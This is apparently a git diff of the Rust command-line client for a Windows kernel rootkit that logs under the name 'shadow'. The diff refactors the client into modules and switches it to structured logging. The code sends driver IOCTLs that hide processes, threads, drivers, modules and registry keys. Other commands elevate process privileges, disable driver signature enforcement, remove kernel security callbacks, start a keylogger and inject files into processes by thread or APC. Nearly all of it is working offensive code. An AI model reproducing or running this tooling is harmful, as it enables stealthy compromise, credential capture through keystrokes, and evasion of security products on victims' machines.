|
||||
shared::ioctls::*,
|
||||
module::enumerate_module,
|
||||
driver::{dse, enumerate_driver, unhide_hide_driver},
|
||||
keylogger::keylogger,
|
||||
process::{
|
||||
env_logger::Builder,
|
||||
};
|
||||
use modules::{
|
||||
callback::{enumerate_callback, remove_callback, restore_callback}, driver::{enumerate_driver, unhide_hide_driver}, injection::{injection_apc, injection_thread}, misc::{dse, keylogger}, module::{enumerate_module, hide_module}, process::{
|
||||
elevate_process,
|
||||
enumerate_process, hide_unhide_process,
|
||||
signature_process, terminate_process
|
||||
},
|
||||
thread::{enumerate_thread, hide_unhide_thread},
|
||||
callback::{enumerate_callback, remove_callback, restore_callback},
|
||||
injection::{injection_thread, injection_apc},
|
||||
}, thread::{enumerate_thread, hide_unhide_thread}
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
mod registry;
|
||||
mod callback;
|
||||
mod cli;
|
||||
mod driver;
|
||||
mod process;
|
||||
mod keylogger;
|
||||
mod thread;
|
||||
mod injection;
|
||||
mod module;
|
||||
mod utils;
|
||||
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
use {
|
||||
registry::{registry_protection, registry_hide},
|
||||
use modules::{
|
||||
registry::{registry_protection, registry_hide_unhide},
|
||||
process::protection_process,
|
||||
thread::protection_thread,
|
||||
};
|
||||
|
||||
mod modules;
|
||||
mod cli;
|
||||
mod utils;
|
||||
|
||||
fn main() {
|
||||
let args = Cli::parse();
|
||||
let mut builder = Builder::new();
|
||||
let log_level = match args.verbose {
|
||||
0 => LevelFilter::Info,
|
||||
_ => LevelFilter::Debug
|
||||
};
|
||||
|
||||
builder.filter(None, log_level).format(|buf, record| {
|
||||
let timestamp = chrono::Local::now().format("%Y-%m-%dT%H:%M:%S");
|
||||
let level = match record.level() {
|
||||
Level::Error => "ERROR".red().bold(),
|
||||
Level::Warn => "WARN ".yellow().bold(),
|
||||
Level::Info => "INFO ".green(),
|
||||
Level::Debug => "DEBUG".bright_black(),
|
||||
Level::Trace => "TRACE".blue(),
|
||||
};
|
||||
|
||||
writeln!(buf, "[{}] {} [shadow] {}", timestamp, level, record.args())
|
||||
}).init();
|
||||
|
||||
match &args.command {
|
||||
Commands::Process { sub_command } => match sub_command {
|
||||
ProcessCommands::Elevate { pid } => {
|
||||
println!("[+] Elevate Process: {pid}");
|
||||
info!("Elevate Process: {pid}");
|
||||
elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS);
|
||||
},
|
||||
ProcessCommands::Hide { pid } => {
|
||||
println!("[+] Hide Process: {pid}");
|
||||
info!("Hide Process: {pid}");
|
||||
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true);
|
||||
},
|
||||
ProcessCommands::Unhide { pid } => {
|
||||
println!("[+] UnHide Process: {pid}");
|
||||
info!("UnHide Process: {pid}");
|
||||
hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false);
|
||||
},
|
||||
ProcessCommands::Terminate { pid } => {
|
||||
println!("[+] Terminate Process: {pid}");
|
||||
info!("Terminate Process: {pid}");
|
||||
terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS);
|
||||
},
|
||||
ProcessCommands::Signature { pid, pt, sg } => {
|
||||
println!("[+] Signature Process: {pid}");
|
||||
info!("Signature Process: {pid}");
|
||||
signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt);
|
||||
},
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
ProcessCommands::Protection { pid, add, remove } => {
|
||||
println!("[+] Protection Process: {pid}");
|
||||
info!("Protection Process: {pid}");
|
||||
if *add {
|
||||
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true);
|
||||
} else if *remove {
|
||||
protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false);
|
||||
} else {
|
||||
eprintln!("[-] No action provided");
|
||||
error!("No action provided");
|
||||
}
|
||||
},
|
||||
ProcessCommands::Enumerate { list, type_ } => {
|
||||
println!("[+] Enumerate Process");
|
||||
info!("Enumerate Process");
|
||||
if *list {
|
||||
enumerate_process(IOCTL_ENUMERATION_PROCESS, type_);
|
||||
}
|
||||
@@ -79,11 +90,11 @@ fn main() {
|
||||
},
|
||||
Commands::Thread { sub_command } => match sub_command {
|
||||
ThreadCommands::Hide { tid } => {
|
||||
println!("[+] Hide Thread: {tid}");
|
||||
info!("Hide Thread: {tid}");
|
||||
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true);
|
||||
},
|
||||
ThreadCommands::Unhide { tid } => {
|
||||
println!("[+] Unhide Thread: {tid}");
|
||||
info!("Unhide Thread: {tid}");
|
||||
hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false);
|
||||
},
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
@@ -93,11 +104,11 @@ fn main() {
|
||||
} else if *remove {
|
||||
protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false);
|
||||
} else {
|
||||
eprintln!("[-] No action provided");
|
||||
error!("No action provided");
|
||||
}
|
||||
},
|
||||
ThreadCommands::Enumerate { list, type_ } => {
|
||||
println!("[+] Enumerate Thread");
|
||||
info!("Enumerate Thread");
|
||||
if *list {
|
||||
enumerate_thread(IOCTL_ENUMERATION_THREAD, type_);
|
||||
}
|
||||
@@ -105,44 +116,44 @@ fn main() {
|
||||
},
|
||||
Commands::Driver { hide, unhide, list, name } => {
|
||||
if *hide {
|
||||
println!("[+] Hide Driver");
|
||||
info!("Hide Driver");
|
||||
match name {
|
||||
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true),
|
||||
None => {
|
||||
eprintln!("[-] No action provided for driver.");
|
||||
error!("No action provided for driver.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else if *unhide {
|
||||
println!("[+] Unhide Driver");
|
||||
info!("Unhide Driver");
|
||||
match name {
|
||||
Some(name) => unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false),
|
||||
None => {
|
||||
eprintln!("[-] No action provided for driver.");
|
||||
error!("No action provided for driver.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
} else if *list {
|
||||
println!("[+] Enumerate Driver");
|
||||
info!("Enumerate Driver");
|
||||
enumerate_driver(IOCTL_ENUMERATE_DRIVER);
|
||||
}
|
||||
},
|
||||
Commands::Misc { sub_command } => match sub_command {
|
||||
MisCommands::DSE { disable, enable } => {
|
||||
if *enable {
|
||||
println!("[+] Enable DSE");
|
||||
info!("Enable DSE");
|
||||
dse(IOCTL_ENABLE_DSE, true);
|
||||
} else if *disable {
|
||||
println!("[+] Disable DSE");
|
||||
info!("Disable DSE");
|
||||
dse(IOCTL_ENABLE_DSE, false);
|
||||
}
|
||||
},
|
||||
MisCommands::Keylogger { stop, start } => {
|
||||
if *start {
|
||||
println!("[+] Start Keylogger");
|
||||
info!("Start Keylogger");
|
||||
keylogger(IOCTL_KEYLOGGER, true);
|
||||
} else if *stop {
|
||||
println!("[+] Stop Keylogger");
|
||||
info!("Stop Keylogger");
|
||||
keylogger(IOCTL_KEYLOGGER, false);
|
||||
}
|
||||
},
|
||||
@@ -152,7 +163,7 @@ fn main() {
|
||||
Commands::Registry { sub_command } => match sub_command {
|
||||
RegistryCommands::Protect { key, name, add, remove } => {
|
||||
if *add && *remove {
|
||||
eprintln!("[-] Error: Both add and remove options cannot be specified at the same time");
|
||||
error!("Both add and remove options cannot be specified at the same time");
|
||||
} else if *add {
|
||||
match name {
|
||||
Some(ref name) => {
|
||||
@@ -172,60 +183,65 @@ fn main() {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
eprintln!("[-] Error: Either add or remove must be specified");
|
||||
error!("Either add or remove must be specified");
|
||||
}
|
||||
},
|
||||
RegistryCommands::Hide { key, value } => {
|
||||
match value {
|
||||
Some(ref value) => {
|
||||
registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true);
|
||||
registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, true);
|
||||
},
|
||||
None => {
|
||||
registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true);
|
||||
registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
RegistryCommands::Unhide { key, value } => {
|
||||
match value {
|
||||
Some(ref value) => {
|
||||
registry_hide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false);
|
||||
registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, &key, false);
|
||||
},
|
||||
None => {
|
||||
registry_hide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false);
|
||||
registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), &key, false);
|
||||
}
|
||||
}
|
||||
},
|
||||
},
|
||||
Commands::Module { pid } => {
|
||||
Commands::Module { sub_command } => match sub_command {
|
||||
ModuleCommands::Hide { module, pid } => {
|
||||
hide_module(IOCTL_HIDE_MODULE, module, *pid);
|
||||
},
|
||||
ModuleCommands::Enumerate { pid } => {
|
||||
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
|
||||
}
|
||||
}
|
||||
Commands::Callback { list, enumerate ,remove, restore, callback } => {
|
||||
if *list {
|
||||
println!("[+] Enumerate Callback");
|
||||
info!("Enumerate Callback");
|
||||
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
|
||||
return;
|
||||
}
|
||||
|
||||
if *enumerate {
|
||||
println!("[+] Enumerate Removed Callback");
|
||||
info!("Enumerate Removed Callback");
|
||||
enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
|
||||
return;
|
||||
}
|
||||
|
||||
match (remove, restore) {
|
||||
(Some(index), None) => {
|
||||
println!("[+] Remove Callback: {index}");
|
||||
info!("Remove Callback: {index}");
|
||||
remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback);
|
||||
},
|
||||
(None, Some(index)) => {
|
||||
println!("[+] Restore Callback: {index}");
|
||||
info!("Restore Callback: {index}");
|
||||
restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback);
|
||||
},
|
||||
(Some(_), Some(_)) => {
|
||||
eprintln!("[-] Error: Cannot remove and restore at the same time.");
|
||||
error!("Cannot remove and restore at the same time");
|
||||
},
|
||||
(None, None) => {
|
||||
eprintln!("[-] No action provided for callback.");
|
||||
error!("No action provided for callback");
|
||||
},
|
||||
}
|
||||
},
|
||||
|
||||
@@ -1,50 +0,0 @@
|
||||
use {
|
||||
crate::driver::open_driver,
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
shared::structs::{ModuleInfo, TargetProcess},
|
||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||
};
|
||||
|
||||
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut input_module = TargetProcess {
|
||||
pid: *pid as usize
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut input_module as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
module_info.as_mut_ptr() as *mut _,
|
||||
(module_info.len() * size_of::<ModuleInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
let total_module = return_buffer as usize / size_of::<ModuleInfo>();
|
||||
println!("[+] Total modules: {}", total_module);
|
||||
for i in module_info.iter() {
|
||||
if i.address > 0 {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name,
|
||||
Err(err) => {
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
@@ -1,12 +1,18 @@
|
||||
use {
|
||||
crate::{cli::Callbacks, driver::open_driver},
|
||||
std::{ptr::null_mut, mem::size_of, ffi::c_void},
|
||||
crate::{cli::Callbacks, utils::open_driver},
|
||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
System::IO::DeviceIoControl
|
||||
}
|
||||
};
|
||||
|
||||
pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||
log::debug!("Attempting to open the driver for callback enumeration");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
log::debug!("Allocating memory for callback information");
|
||||
let mut return_buffer = 0;
|
||||
let mut callback_info: [CallbackInfoOutput; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut input_callback = CallbackInfoInput {
|
||||
@@ -14,6 +20,7 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||
callback: callback.to_shared()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to enumerate callbacks");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
@@ -28,16 +35,19 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
let total_module = return_buffer as usize / size_of::<CallbackInfoOutput>();
|
||||
println!("[+] Total modules: {}", total_module);
|
||||
let total_modules = return_buffer as usize / size_of::<CallbackInfoOutput>();
|
||||
log::info!("Total callbacks found: {}", total_modules);
|
||||
log::info!("Listing callbacks:");
|
||||
println!("");
|
||||
|
||||
for i in callback_info.iter() {
|
||||
if i.address > 0 {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||
Err(err) => {
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
log::error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
@@ -46,7 +56,7 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||
Err(err) => {
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
log::error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
@@ -55,19 +65,27 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||
println!("\tpost_operation: {:?}", i.post_operation as *mut c_void);
|
||||
}
|
||||
}
|
||||
println!("");
|
||||
log::info!("Callback enumeration completed")
|
||||
}
|
||||
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
log::debug!("Attempting to open the driver to remove callback at index: {}", index);
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
log::debug!("Preparing structure to remove callback at index: {}", index);
|
||||
let mut callback_info = CallbackInfoInput {
|
||||
index,
|
||||
callback: callback.to_shared()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to remove callback at index: {}", index);
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
@@ -83,20 +101,28 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Successfully removed callback at index: {}", index);
|
||||
}
|
||||
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
log::debug!("Attempting to open the driver to restore callback at index: {}", index);
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
log::debug!("Preparing structure to restore callback at index: {}", index);
|
||||
let mut callback_info = CallbackInfoInput {
|
||||
index,
|
||||
callback: callback.to_shared()
|
||||
};
|
||||
|
||||
log::debug!("Sending DeviceIoControl command to restore callback at index: {}", index);
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
@@ -112,9 +138,12 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
log::error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
log::info!("Successfully restored callback at index: {}", index);
|
||||
}
|
||||
|
||||
log::debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
107
client/src/modules/driver.rs
Normal file
107
client/src/modules/driver.rs
Normal file
@@ -0,0 +1,107 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::utils::open_driver,
|
||||
core::mem::size_of,
|
||||
shared::structs::{DriverInfo, TargetDriver},
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
System::IO::DeviceIoControl
|
||||
}
|
||||
};
|
||||
|
||||
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
|
||||
debug!("Attempting to open the driver for {} operation", if enable { "hide" } else { "unhide" });
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Preparing structure for: {}", name);
|
||||
let mut info_driver = TargetDriver {
|
||||
name: name.to_string(),
|
||||
enable
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} driver", if enable { "hide" } else { "unhide" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_driver as *mut _ as *mut c_void,
|
||||
size_of::<TargetDriver>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Driver successfully {}hidden", if enable { "" } else { "un" });
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn enumerate_driver(ioctl_code: u32) {
|
||||
debug!("Attempting to open the driver for enumeration");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Allocating memory for driver info");
|
||||
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut return_buffer = 0;
|
||||
|
||||
debug!("Sending DeviceIoControl command to enumerate drivers");
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
null_mut(),
|
||||
0,
|
||||
driver_info.as_mut_ptr() as *mut _,
|
||||
(driver_info.len() * size_of::<DriverInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
let total_modules = return_buffer as usize / size_of::<DriverInfo>();
|
||||
info!("Total modules found: {}", total_modules);
|
||||
info!("Listing drivers:");
|
||||
println!("");
|
||||
|
||||
for i in driver_info.iter() {
|
||||
if i.address > 0 {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name,
|
||||
Err(err) => {
|
||||
error!("UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
println!(
|
||||
"[{:2}] {:#018x} {}",
|
||||
i.index,
|
||||
i.address,
|
||||
name
|
||||
);
|
||||
}
|
||||
}
|
||||
println!("");
|
||||
info!("Driver enumeration completed.");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use {
|
||||
crate::{driver::open_driver, utils::check_file},
|
||||
log::*,
|
||||
crate::{utils::open_driver, utils::check_file},
|
||||
core::ffi::c_void,
|
||||
shared::structs::TargetInjection,
|
||||
std::ptr::null_mut,
|
||||
@@ -7,62 +8,73 @@ use {
|
||||
};
|
||||
|
||||
pub fn injection_thread(ioctl_code: u32, pid: &u32, path: &String) {
|
||||
println!("[*] Starting process injection for PID: {pid}, using file: {path}");
|
||||
info!("Starting process injection for PID: {pid}, using file: {path}");
|
||||
|
||||
println!("[*] Attempting to open the driver...");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
println!("[*] Preparing injection structure...");
|
||||
let mut info_injection = TargetInjection {
|
||||
path: path.to_string(),
|
||||
pid: *pid as usize
|
||||
};
|
||||
|
||||
println!("[*] Checking if the file exists at the specified path...");
|
||||
info!("Checking if the file exists at the specified path");
|
||||
if !check_file(path) {
|
||||
eprintln!("[!] Error: File not found at the specified path: {path}. Please check the file path and try again.");
|
||||
error!("File not found at the specified path: {path}. Please check the file path and try again");
|
||||
return;
|
||||
}
|
||||
|
||||
println!("[+] File found.");
|
||||
let mut return_buffer = 0;
|
||||
|
||||
println!("[*] Initiating process injection...");
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_injection as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetInjection>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Success: Process injection was successfully performed on PID: {pid} using the file at path: {path}.");
|
||||
}
|
||||
|
||||
println!("[*] Closing the driver handle...");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
|
||||
println!("[+] Driver handle closed. Injection process completed.");
|
||||
}
|
||||
|
||||
pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
info!("File found!!!");
|
||||
debug!("Preparing injection structure");
|
||||
let mut info_injection = TargetInjection {
|
||||
path: path.to_string(),
|
||||
pid: *pid as usize
|
||||
};
|
||||
|
||||
let mut return_buffer = 0;
|
||||
|
||||
debug!("Sending DeviceIoControl command to Process Injection");
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_injection as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetInjection>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
info!("Process injection was successfully performed on PID: {pid} using the file at path: {path}");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
|
||||
debug!("Starting APC injection for PID: {pid}, using file: {path}");
|
||||
|
||||
debug!("Attempting to open the driver");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
|
||||
info!("Checking if the file exists at the specified path");
|
||||
if !check_file(path) {
|
||||
error!("File not found at the specified path: {path}. Please check the file path and try again");
|
||||
return;
|
||||
}
|
||||
|
||||
info!("File found!!!");
|
||||
debug!("Preparing injection structure");
|
||||
let mut info_injection = TargetInjection {
|
||||
path: path.to_string(),
|
||||
pid: *pid as usize
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to APC Injection");
|
||||
let mut return_buffer = 0;
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
@@ -78,11 +90,12 @@ pub fn injection_apc(ioctl_code: u32, pid: &u32, path: &String) {
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Process injection APC successfully performed on PID: {pid}");
|
||||
info!("APC Injection successfully performed on PID: {pid}");
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
76
client/src/modules/misc.rs
Normal file
76
client/src/modules/misc.rs
Normal file
@@ -0,0 +1,76 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::utils::open_driver,
|
||||
shared::structs::{Keylogger, DSE},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
System::IO::DeviceIoControl
|
||||
},
|
||||
};
|
||||
|
||||
pub fn dse(ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Preparing DSE structure for {}", if enable { "enabling" } else { "disabling" });
|
||||
let mut return_buffer = 0;
|
||||
let mut info_dse = DSE {
|
||||
enable
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} DSE", if enable { "enable" } else { "disable" });
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_dse as *mut _ as *mut c_void,
|
||||
size_of::<DSE>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl failed with status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Driver Signature Enforcement (DSE) {}", if enable { "enable" } else { "disable" });
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn keylogger(ioctl_code: u32, state: bool) {
|
||||
let h_file = open_driver().expect("Failed open driver");
|
||||
let mut return_buffer = 0;
|
||||
let mut keylogger = Keylogger {
|
||||
enable: state
|
||||
};
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut keylogger as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<Keylogger>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Keylogger {}", if state { "start" } else { "stop" })
|
||||
}
|
||||
|
||||
debug!("Closing the driver handle");
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
9
client/src/modules/mod.rs
Normal file
9
client/src/modules/mod.rs
Normal file
@@ -0,0 +1,9 @@
|
||||
#[cfg(not(feature = "mapper"))]
|
||||
pub mod registry;
|
||||
pub mod callback;
|
||||
pub mod driver;
|
||||
pub mod process;
|
||||
pub mod misc;
|
||||
pub mod thread;
|
||||
pub mod injection;
|
||||
pub mod module;
|
||||
101
client/src/modules/module.rs
Normal file
101
client/src/modules/module.rs
Normal file
@@ -0,0 +1,101 @@
|
||||
use log::*;
|
||||
use crate::utils::open_driver;
|
||||
use shared::structs::{ModuleInfo, TargetModule, TargetProcess};
|
||||
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
|
||||
use windows_sys::Win32::{
|
||||
Foundation::{CloseHandle, GetLastError},
|
||||
System::IO::DeviceIoControl,
|
||||
};
|
||||
|
||||
pub fn enumerate_module(ioctl_code: u32, pid: &u32) {
|
||||
info!("Attempting to enumerate modules for PID: {pid}");
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
|
||||
debug!("Preparing structure for pid: {pid}");
|
||||
let mut module_info: [ModuleInfo; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut input_module = TargetProcess {
|
||||
pid: *pid as usize,
|
||||
};
|
||||
|
||||
debug!("Sending DeviceIoControl command to enumerate modules for PID: {pid}");
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut input_module as *mut _ as *mut c_void,
|
||||
size_of::<TargetProcess>() as u32,
|
||||
module_info.as_mut_ptr() as *mut _,
|
